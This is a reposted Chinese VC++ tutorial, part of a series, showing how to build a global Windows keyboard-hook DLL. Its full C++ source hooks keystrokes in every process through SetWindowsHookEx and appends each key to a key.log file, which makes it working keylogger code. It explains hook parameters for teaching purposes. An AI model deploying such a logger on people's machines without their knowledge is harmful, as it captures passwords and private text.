VC++实现监视系统的键盘操作(2) 创建记录键盘动作的全局钩子DLL

来源:互联网 发布:linux rpm安装make 编辑:程序博客网 时间:2024/04/29 12:21

全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC++6.0中有三种形式的MFC DLL可供选择,即
Regular DLL with MFC statically linked(标准静态链接MFC DLL)
Regular DLL using shared MFC DLL(标准动态链接MFC DLL)
MFC Extension DLL(using shared MFC DLL)(扩展MFC DLL)。

我使用的是标准静态连接MFC DLL。
将DLL中的函数导出,有两种方法:
1.在函数声明时使用_declspec(dllexport)
2.在模块定义文件(.def)中进行说明

第二种示例如下:
LIBRARY      "KeyHookDll"
DESCRIPTION  'KeyHookDll Windows Dynamic Link Library'

EXPORTS
    ; Explicit exports can go here
    LoadHook
LoadHook就是定义的导出函数。
我们使用第一种。
创建记录键盘动作的全局钩子DLL
1.新建MFC AppWizard(dll),工程名为KeyHook.
2.在KeyHookDll.h文件中添加以下代码:
#define DllExport _declspec(dllexport)
//声明导出函数
DllExport void WINAPI LoadHook();
3.在KeyHookDll.cpp中添加以下代码:

HHOOK Hook;LRESULT CALLBACK HookKeyBoard(int nCode,WPARAM wParam,LPARAM lParam);void KeyLog(char *c);DllExport void WINAPI LoadHook(){
//WH_KEYBOARD:安装一个挂钩处理过程对击键消息进行监控Hook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookKeyBoard,theApp.m_hInstance,0);}LRESULT CALLBACK HookKeyBoard(int nCode,WPARAM wParam,LPARAM lParam){LRESULT Result = CallNextHookEx(Hook,nCode,wParam,lParam);if(nCode == HC_ACTION){if(lParam & 0x80000000){char c[1];c[0] = wParam;KeyLog(c);}}return Result;}void KeyLog(char *c){CFile file;if(!file.Open("key.log",CFile::modeReadWrite)){file.Open("key.log",CFile::modeCreate | CFile::modeReadWrite);}file.SeekToEnd();file.Write(c,1);file.Close();}


当nCode = HC_ACTION时,参数wParam和lParam包含一个击键消息的信息
wParam:产生此击键消息的虚拟键代码
lParam:记录了按键的重复次数、扫描码、转移代码、先前键的状态等信息。此参数可以是以下值的组合值:
0-15位:记录用户摁键引发的重复次数。
16-23位:扫描码,依赖于键盘生产厂家。
24位:指示此键是否为扩展键,如功能键或数字小键盘上的键,当该键为扩展键时,其值为1.
25-28位:保留
29位:上下文代码,若Alt键被摁下,则其值为1
30位:指示此前的键状态,若在此消息被发送之前该键是被摁下的,其值为1
31位:指示变化状态,若此键正在被摁下,则其值为0

挂钩处理过程被置于不同的具有一定挂钩类型的挂钩链中,函数CallNextHookEx调用该链中的下一个挂钩。对函数CallNextHookEx调用是可选的,但极力推荐使用。否则,其他安装了挂钩的应用程序将无法收到挂钩通知,由此可能产生错误的行为。除非你确实需要使其他程序不能获得此挂钩通知。